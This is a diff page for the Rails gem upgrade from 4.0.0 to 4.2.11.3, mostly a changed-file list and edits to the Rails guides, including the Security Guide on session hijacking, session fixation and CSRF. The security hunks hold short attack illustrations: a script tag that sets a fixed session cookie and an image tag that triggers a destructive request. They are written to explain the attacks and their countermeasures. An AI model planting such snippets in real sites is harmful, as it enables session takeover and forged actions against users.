rails 4.0.0 → 4.2.11.3

Sign up to get free protection for your applications and to get access to all the features.
Files changed (190) hide show
  1. checksums.yaml +5 -5
  2. data/README.md +30 -23
  3. data/guides/CHANGELOG.md +108 -6
  4. data/guides/Rakefile +21 -6
  5. data/guides/assets/images/akshaysurve.jpg +0 -0
  6. data/guides/assets/images/edge_badge.png +0 -0
  7. data/guides/assets/images/feature_tile.gif +0 -0
  8. data/guides/assets/images/footer_tile.gif +0 -0
  9. data/guides/assets/images/fxn.png +0 -0
  10. data/guides/assets/images/getting_started/article_with_comments.png +0 -0
  11. data/guides/assets/images/getting_started/challenge.png +0 -0
  12. data/guides/assets/images/getting_started/confirm_dialog.png +0 -0
  13. data/guides/assets/images/getting_started/forbidden_attributes_for_new_article.png +0 -0
  14. data/guides/assets/images/getting_started/form_with_errors.png +0 -0
  15. data/guides/assets/images/getting_started/index_action_with_edit_link.png +0 -0
  16. data/guides/assets/images/getting_started/new_article.png +0 -0
  17. data/guides/assets/images/getting_started/rails_welcome.png +0 -0
  18. data/guides/assets/images/getting_started/routing_error_no_controller.png +0 -0
  19. data/guides/assets/images/getting_started/routing_error_no_route_matches.png +0 -0
  20. data/guides/assets/images/getting_started/show_action_for_articles.png +0 -0
  21. data/guides/assets/images/getting_started/template_is_missing_articles_new.png +0 -0
  22. data/guides/assets/images/getting_started/unknown_action_create_for_articles.png +0 -0
  23. data/guides/assets/images/getting_started/unknown_action_new_for_articles.png +0 -0
  24. data/guides/assets/images/header_tile.gif +0 -0
  25. data/guides/assets/images/icons/README +1 -1
  26. data/guides/assets/images/icons/callouts/11.png +0 -0
  27. data/guides/assets/images/icons/callouts/12.png +0 -0
  28. data/guides/assets/images/icons/callouts/13.png +0 -0
  29. data/guides/assets/images/icons/callouts/15.png +0 -0
  30. data/guides/assets/images/icons/caution.png +0 -0
  31. data/guides/assets/images/icons/example.png +0 -0
  32. data/guides/assets/images/radar.png +0 -0
  33. data/guides/assets/images/rails4_features.png +0 -0
  34. data/guides/assets/images/rails_guides_kindle_cover.jpg +0 -0
  35. data/guides/assets/images/vijaydev.jpg +0 -0
  36. data/guides/assets/javascripts/guides.js +36 -34
  37. data/guides/assets/stylesheets/main.css +6 -2
  38. data/guides/assets/stylesheets/print.css +1 -1
  39. data/guides/bug_report_templates/action_controller_gem.rb +47 -0
  40. data/guides/bug_report_templates/action_controller_master.rb +54 -0
  41. data/guides/bug_report_templates/active_record_gem.rb +5 -2
  42. data/guides/bug_report_templates/active_record_master.rb +3 -2
  43. data/guides/bug_report_templates/generic_gem.rb +15 -0
  44. data/guides/bug_report_templates/generic_master.rb +26 -0
  45. data/guides/rails_guides.rb +23 -4
  46. data/guides/rails_guides/generator.rb +1 -1
  47. data/guides/rails_guides/helpers.rb +4 -2
  48. data/guides/rails_guides/levenshtein.rb +27 -21
  49. data/guides/rails_guides/markdown.rb +11 -7
  50. data/guides/rails_guides/markdown/renderer.rb +1 -1
  51. data/guides/source/2_2_release_notes.md +3 -3
  52. data/guides/source/2_3_release_notes.md +12 -12
  53. data/guides/source/3_0_release_notes.md +10 -13
  54. data/guides/source/3_1_release_notes.md +7 -4
  55. data/guides/source/3_2_release_notes.md +17 -14
  56. data/guides/source/4_0_release_notes.md +110 -54
  57. data/guides/source/4_1_release_notes.md +730 -0
  58. data/guides/source/4_2_release_notes.md +877 -0
  59. data/guides/source/_license.html.erb +1 -1
  60. data/guides/source/_welcome.html.erb +6 -2
  61. data/guides/source/action_controller_overview.md +223 -57
  62. data/guides/source/action_mailer_basics.md +129 -76
  63. data/guides/source/action_view_overview.md +247 -246
  64. data/guides/source/active_job_basics.md +339 -0
  65. data/guides/source/active_model_basics.md +374 -20
  66. data/guides/source/active_record_basics.md +46 -45
  67. data/guides/source/active_record_callbacks.md +83 -28
  68. data/guides/source/{migrations.md → active_record_migrations.md} +191 -275
  69. data/guides/source/active_record_postgresql.md +433 -0
  70. data/guides/source/active_record_querying.md +382 -300
  71. data/guides/source/active_record_validations.md +64 -55
  72. data/guides/source/active_support_core_extensions.md +229 -187
  73. data/guides/source/active_support_instrumentation.md +23 -22
  74. data/guides/source/api_documentation_guidelines.md +167 -15
  75. data/guides/source/asset_pipeline.md +768 -294
  76. data/guides/source/association_basics.md +188 -96
  77. data/guides/source/autoloading_and_reloading_constants.md +1311 -0
  78. data/guides/source/caching_with_rails.md +45 -11
  79. data/guides/source/command_line.md +96 -65
  80. data/guides/source/configuring.md +404 -70
  81. data/guides/source/contributing_to_ruby_on_rails.md +270 -130
  82. data/guides/source/credits.html.erb +7 -3
  83. data/guides/source/debugging_rails_applications.md +471 -284
  84. data/guides/source/development_dependencies_install.md +115 -21
  85. data/guides/source/documents.yaml +31 -9
  86. data/guides/source/engines.md +737 -291
  87. data/guides/source/form_helpers.md +137 -89
  88. data/guides/source/generators.md +60 -28
  89. data/guides/source/getting_started.md +1007 -596
  90. data/guides/source/i18n.md +178 -96
  91. data/guides/source/index.html.erb +2 -1
  92. data/guides/source/initialization.md +248 -104
  93. data/guides/source/kindle/toc.html.erb +1 -1
  94. data/guides/source/layout.html.erb +14 -22
  95. data/guides/source/layouts_and_rendering.md +78 -46
  96. data/guides/source/maintenance_policy.md +78 -0
  97. data/guides/source/nested_model_forms.md +10 -7
  98. data/guides/source/plugins.md +66 -57
  99. data/guides/source/rails_application_templates.md +49 -12
  100. data/guides/source/rails_on_rack.md +50 -60
  101. data/guides/source/routing.md +190 -139
  102. data/guides/source/ruby_on_rails_guides_guidelines.md +12 -13
  103. data/guides/source/security.md +134 -83
  104. data/guides/source/testing.md +322 -200
  105. data/guides/source/upgrading_ruby_on_rails.md +834 -37
  106. data/guides/source/working_with_javascript_in_rails.md +36 -26
  107. data/guides/w3c_validator.rb +2 -0
  108. metadata +93 -116
  109. data/guides/assets/images/getting_started/forbidden_attributes_for_new_post.png +0 -0
  110. data/guides/assets/images/getting_started/new_post.png +0 -0
  111. data/guides/assets/images/getting_started/post_with_comments.png +0 -0
  112. data/guides/assets/images/getting_started/show_action_for_posts.png +0 -0
  113. data/guides/assets/images/getting_started/template_is_missing_posts_new.png +0 -0
  114. data/guides/assets/images/getting_started/undefined_method_post_path.png +0 -0
  115. data/guides/assets/images/getting_started/unknown_action_create_for_posts.png +0 -0
  116. data/guides/assets/images/getting_started/unknown_action_new_for_posts.png +0 -0
  117. data/guides/assets/images/jaimeiniesta.jpg +0 -0
  118. data/guides/code/getting_started/Gemfile +0 -43
  119. data/guides/code/getting_started/Gemfile.lock +0 -150
  120. data/guides/code/getting_started/README.rdoc +0 -28
  121. data/guides/code/getting_started/Rakefile +0 -6
  122. data/guides/code/getting_started/app/assets/javascripts/application.js +0 -16
  123. data/guides/code/getting_started/app/assets/javascripts/comments.js.coffee +0 -3
  124. data/guides/code/getting_started/app/assets/javascripts/posts.js.coffee +0 -3
  125. data/guides/code/getting_started/app/assets/javascripts/welcome.js.coffee +0 -3
  126. data/guides/code/getting_started/app/assets/stylesheets/application.css +0 -13
  127. data/guides/code/getting_started/app/assets/stylesheets/comments.css.scss +0 -3
  128. data/guides/code/getting_started/app/assets/stylesheets/posts.css.scss +0 -3
  129. data/guides/code/getting_started/app/assets/stylesheets/welcome.css.scss +0 -3
  130. data/guides/code/getting_started/app/controllers/application_controller.rb +0 -5
  131. data/guides/code/getting_started/app/controllers/comments_controller.rb +0 -17
  132. data/guides/code/getting_started/app/controllers/posts_controller.rb +0 -47
  133. data/guides/code/getting_started/app/controllers/welcome_controller.rb +0 -4
  134. data/guides/code/getting_started/app/helpers/application_helper.rb +0 -2
  135. data/guides/code/getting_started/app/helpers/comments_helper.rb +0 -2
  136. data/guides/code/getting_started/app/helpers/posts_helper.rb +0 -2
  137. data/guides/code/getting_started/app/helpers/welcome_helper.rb +0 -2
  138. data/guides/code/getting_started/app/models/comment.rb +0 -3
  139. data/guides/code/getting_started/app/models/post.rb +0 -7
  140. data/guides/code/getting_started/app/views/comments/_comment.html.erb +0 -15
  141. data/guides/code/getting_started/app/views/comments/_form.html.erb +0 -13
  142. data/guides/code/getting_started/app/views/layouts/application.html.erb +0 -14
  143. data/guides/code/getting_started/app/views/posts/_form.html.erb +0 -27
  144. data/guides/code/getting_started/app/views/posts/edit.html.erb +0 -5
  145. data/guides/code/getting_started/app/views/posts/index.html.erb +0 -21
  146. data/guides/code/getting_started/app/views/posts/new.html.erb +0 -5
  147. data/guides/code/getting_started/app/views/posts/show.html.erb +0 -18
  148. data/guides/code/getting_started/app/views/welcome/index.html.erb +0 -3
  149. data/guides/code/getting_started/bin/bundle +0 -4
  150. data/guides/code/getting_started/bin/rails +0 -4
  151. data/guides/code/getting_started/bin/rake +0 -4
  152. data/guides/code/getting_started/config.ru +0 -4
  153. data/guides/code/getting_started/config/application.rb +0 -18
  154. data/guides/code/getting_started/config/boot.rb +0 -4
  155. data/guides/code/getting_started/config/database.yml +0 -25
  156. data/guides/code/getting_started/config/environment.rb +0 -5
  157. data/guides/code/getting_started/config/environments/development.rb +0 -30
  158. data/guides/code/getting_started/config/environments/production.rb +0 -80
  159. data/guides/code/getting_started/config/environments/test.rb +0 -36
  160. data/guides/code/getting_started/config/initializers/backtrace_silencers.rb +0 -7
  161. data/guides/code/getting_started/config/initializers/filter_parameter_logging.rb +0 -4
  162. data/guides/code/getting_started/config/initializers/inflections.rb +0 -16
  163. data/guides/code/getting_started/config/initializers/locale.rb +0 -9
  164. data/guides/code/getting_started/config/initializers/mime_types.rb +0 -5
  165. data/guides/code/getting_started/config/initializers/secret_token.rb +0 -12
  166. data/guides/code/getting_started/config/initializers/session_store.rb +0 -3
  167. data/guides/code/getting_started/config/initializers/wrap_parameters.rb +0 -14
  168. data/guides/code/getting_started/config/locales/en.yml +0 -23
  169. data/guides/code/getting_started/config/routes.rb +0 -7
  170. data/guides/code/getting_started/db/migrate/20130122042648_create_posts.rb +0 -10
  171. data/guides/code/getting_started/db/migrate/20130122045842_create_comments.rb +0 -11
  172. data/guides/code/getting_started/db/schema.rb +0 -33
  173. data/guides/code/getting_started/db/seeds.rb +0 -7
  174. data/guides/code/getting_started/public/404.html +0 -58
  175. data/guides/code/getting_started/public/422.html +0 -58
  176. data/guides/code/getting_started/public/500.html +0 -57
  177. data/guides/code/getting_started/public/favicon.ico +0 -0
  178. data/guides/code/getting_started/public/robots.txt +0 -5
  179. data/guides/code/getting_started/test/controllers/comments_controller_test.rb +0 -7
  180. data/guides/code/getting_started/test/controllers/posts_controller_test.rb +0 -7
  181. data/guides/code/getting_started/test/controllers/welcome_controller_test.rb +0 -9
  182. data/guides/code/getting_started/test/fixtures/comments.yml +0 -11
  183. data/guides/code/getting_started/test/fixtures/posts.yml +0 -9
  184. data/guides/code/getting_started/test/helpers/comments_helper_test.rb +0 -4
  185. data/guides/code/getting_started/test/helpers/posts_helper_test.rb +0 -4
  186. data/guides/code/getting_started/test/helpers/welcome_helper_test.rb +0 -4
  187. data/guides/code/getting_started/test/models/comment_test.rb +0 -7
  188. data/guides/code/getting_started/test/models/post_test.rb +0 -7
  189. data/guides/code/getting_started/test/test_helper.rb +0 -15
  190. data/guides/source/kindle/KINDLE.md +0 -26
@@ -13,17 +13,17 @@ After reading this guide, you will know:
13
13
  Markdown
14
14
  -------
15
15
 
16
- Guides are written in [GitHub Flavored Markdown](http://github.github.com/github-flavored-markdown/). There is comprehensive [documentation for Markdown](http://daringfireball.net/projects/markdown/syntax), a [cheatsheet](http://daringfireball.net/projects/markdown/basics), and [additional documentation](http://github.github.com/github-flavored-markdown/) on the differences from traditional Markdown.
16
+ Guides are written in [GitHub Flavored Markdown](https://help.github.com/articles/github-flavored-markdown). There is comprehensive [documentation for Markdown](http://daringfireball.net/projects/markdown/syntax), as well as a [cheatsheet](http://daringfireball.net/projects/markdown/basics).
17
17
 
18
18
  Prologue
19
19
  --------
20
20
 
21
- Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. See for example the [Routing Guide](routing.html).
21
+ Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. As an example, see the [Routing Guide](routing.html).
22
22
 
23
- Titles
23
+ Headings
24
24
  ------
25
25
 
26
- The title of every guide uses `h1`; guide sections use `h2`; subsections `h3`; etc. However, the generated HTML output will have the heading tag starting from `<h2>`.
26
+ The title of every guide uses an `h1` heading; guide sections use `h2` headings; subsections use `h3` headings; etc. Note that the generated HTML output will use heading tags starting with `<h2>`.
27
27
 
28
28
  ```
29
29
  Guide Title
@@ -35,14 +35,14 @@ Section
35
35
  ### Sub Section
36
36
  ```
37
37
 
38
- Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be:
38
+ When writing headings, capitalize all words except for prepositions, conjunctions, internal articles, and forms of the verb "to be":
39
39
 
40
40
  ```
41
41
  #### Middleware Stack is an Array
42
42
  #### When are Objects Saved?
43
43
  ```
44
44
 
45
- Use the same typography as in regular text:
45
+ Use the same inline formatting as regular text:
46
46
 
47
47
  ```
48
48
  ##### The `:content_type` Option
@@ -51,25 +51,24 @@ Use the same typography as in regular text:
51
51
  API Documentation Guidelines
52
52
  ----------------------------
53
53
 
54
- The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html:)
54
+ The guides and the API should be coherent and consistent where appropriate. In particular, these sections of the [API Documentation Guidelines](api_documentation_guidelines.html) also apply to the guides:
55
55
 
56
56
  * [Wording](api_documentation_guidelines.html#wording)
57
+ * [English](api_documentation_guidelines.html#english)
57
58
  * [Example Code](api_documentation_guidelines.html#example-code)
58
- * [Filenames](api_documentation_guidelines.html#filenames)
59
+ * [Filenames](api_documentation_guidelines.html#file-names)
59
60
  * [Fonts](api_documentation_guidelines.html#fonts)
60
61
 
61
- Those guidelines apply also to guides.
62
-
63
62
  HTML Guides
64
63
  -----------
65
64
 
66
- Before generating the guides, make sure that you have the latest version of Bundler installed on your system. As of this writing, you must install Bundler 1.3.5 on your device.
65
+ Before generating the guides, make sure that you have the latest version of Bundler installed on your system. As of this writing, you must install Bundler 1.3.5 on your device.
67
66
 
68
- To install the latest version of Bundler, simply run the `gem install bundler` command
67
+ To install the latest version of Bundler, run `gem install bundler`.
69
68
 
70
69
  ### Generation
71
70
 
72
- To generate all the guides, just `cd` into the `guides` directory, run `bundle install` and execute:
71
+ To generate all the guides, just `cd` into the `guides` directory, run `bundle install`, and execute:
73
72
 
74
73
  ```
75
74
  bundle exec rake guides:generate
@@ -17,7 +17,7 @@ After reading this guide, you will know:
17
17
  Introduction
18
18
  ------------
19
19
 
20
- Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.
20
+ Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem.
21
21
 
22
22
  In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
23
23
 
@@ -25,7 +25,7 @@ The Gartner Group however estimates that 75% of attacks are at the web applicati
25
25
 
26
26
  The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
27
27
 
28
- In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that's how you find the nasty logical security problems.
28
+ In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the [Additional Resources](#additional-resources) chapter). It is done manually because that's how you find the nasty logical security problems.
29
29
 
30
30
  Sessions
31
31
  --------
@@ -58,9 +58,9 @@ WARNING: _Stealing a user's session id lets an attacker use the web application
58
58
 
59
59
  Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.
60
60
 
61
- Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
61
+ Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
62
62
 
63
- * Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
63
+ * Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
64
64
 
65
65
  ```ruby
66
66
  config.force_ssl = true
@@ -68,11 +68,11 @@ Hence, the cookie serves as temporary authentication for the web application. Ev
68
68
 
69
69
  * Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _log-out button_ in the web application, and _make it prominent_.
70
70
 
71
- * Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
71
+ * Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read [more about XSS](#cross-site-scripting-xss) later.
72
72
 
73
- * Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
73
+ * Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.
74
74
 
75
- The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
75
+ The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
76
76
 
77
77
  ### Session Guidelines
78
78
 
@@ -81,7 +81,7 @@ Here are some general guidelines on sessions.
81
81
  * _Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
82
82
  This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
83
83
 
84
- * _Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
84
+ * _Critical data should not be stored in session_. If the user clears their cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
85
85
 
86
86
  ### Session Storage
87
87
 
@@ -93,11 +93,18 @@ Rails 2 introduced a new default session storage, CookieStore. CookieStore saves
93
93
 
94
94
  * The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
95
95
 
96
- That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_.
96
+ That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_.
97
97
 
98
- `config.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`, e.g.:
98
+ `secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`, e.g.:
99
99
 
100
- YourApp::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...'
100
+ development:
101
+ secret_key_base: a75d...
102
+
103
+ test:
104
+ secret_key_base: 492f...
105
+
106
+ production:
107
+ secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
101
108
 
102
109
  Older versions of Rails use CookieStore, which uses `secret_token` instead of `secret_key_base` that is used by EncryptedCookieStore. Read the upgrade documentation for more information.
103
110
 
@@ -111,9 +118,9 @@ It works like this:
111
118
 
112
119
  * A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
113
120
  * The user buys something.
114
- * His new, lower credit will be stored in the session.
115
- * The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
116
- * The user has his credit back.
121
+ * The new adjusted credit value is stored in the session.
122
+ * The user takes the cookie from the first step (which they previously copied) and replaces the current cookie in the browser.
123
+ * The user has their original credit back.
117
124
 
118
125
  Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
119
126
 
@@ -121,20 +128,20 @@ The best _solution against it is not to store this kind of data in a session, bu
121
128
 
122
129
  ### Session Fixation
123
130
 
124
- NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
131
+ NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation._
125
132
 
126
133
  ![Session fixation](images/session_fixation.png)
127
134
 
128
135
  This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
129
136
 
130
- * The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
131
- * He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
132
- * Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on.
137
+ * The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image).
138
+ * They maintain the session by accessing the web application periodically in order to keep an expiring session alive.
139
+ * The attacker forces the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on.
133
140
  * The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
134
141
  * As the new trap session is unused, the web application will require the user to authenticate.
135
142
  * From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
136
143
 
137
- ### Session Fixation Countermeasures
144
+ ### Session Fixation - Countermeasures
138
145
 
139
146
  TIP: _One line of code will protect you from session fixation._
140
147
 
@@ -144,13 +151,13 @@ The most effective countermeasure is to _issue a new session identifier_ and dec
144
151
  reset_session
145
152
  ```
146
153
 
147
- If you use the popular RestfulAuthentication plugin for user management, add reset\_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_.
154
+ If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_.
148
155
 
149
156
  Another countermeasure is to _save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way.
150
157
 
151
158
  ### Session Expiry
152
159
 
153
- NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
160
+ NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking and session fixation._
154
161
 
155
162
  One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago.
156
163
 
@@ -180,18 +187,18 @@ This attack method works by including malicious code or a link in a page that ac
180
187
 
181
188
  ![](images/csrf.png)
182
189
 
183
- In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
190
+ In the [session chapter](#sessions) you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
184
191
 
185
192
  * Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
186
193
  * `<img src="http://www.webapp.com/project/1/destroy">`
187
194
  * Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
188
195
  * By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
189
196
  * The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
190
- * Bob doesn't notice the attack but a few days later he finds out that project number one is gone.
197
+ * Bob doesn't notice the attack - but a few days later he finds out that project number one is gone.
191
198
 
192
- It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere in a forum, blog post or email.
199
+ It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post or email.
193
200
 
194
- CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) less than 0.1% in 2006 but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work _CSRF is an important security issue_.
201
+ CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in many security contract works - _CSRF is an important security issue_.
195
202
 
196
203
  ### CSRF Countermeasures
197
204
 
@@ -230,26 +237,27 @@ Or the attacker places the code into the onmouseover event handler of an image:
230
237
  <img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
231
238
  ```
232
239
 
233
- There are many other possibilities, including Ajax to attack the victim in the background.The _solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
240
+ There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we disallow cross-site `<script>` tags. Only Ajax requests may have JavaScript responses since XmlHttpRequest is subject to the browser Same-Origin policy - meaning only your site can initiate the request.
241
+
242
+ To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller, and is the default for newly created rails applications:
234
243
 
235
244
  ```ruby
236
- protect_from_forgery secret: "123456789012345678901234567890..."
245
+ protect_from_forgery with: :exception
237
246
  ```
238
247
 
239
- This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. **Note:** In Rails versions prior to 3.0.4, this raised an `ActionController::InvalidAuthenticityToken` error.
248
+ This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, an exception will be thrown.
240
249
 
241
250
  It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:
242
251
 
243
252
  ```ruby
244
- def handle_unverified_request
245
- super
246
- sign_out_user # Example method that will destroy the user cookies.
253
+ rescue_from ActionController::InvalidAuthenticityToken do |exception|
254
+ sign_out_user # Example method that will destroy the user cookies
247
255
  end
248
256
  ```
249
257
 
250
- The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request.
258
+ The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present or is incorrect on a non-GET request.
251
259
 
252
- Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
260
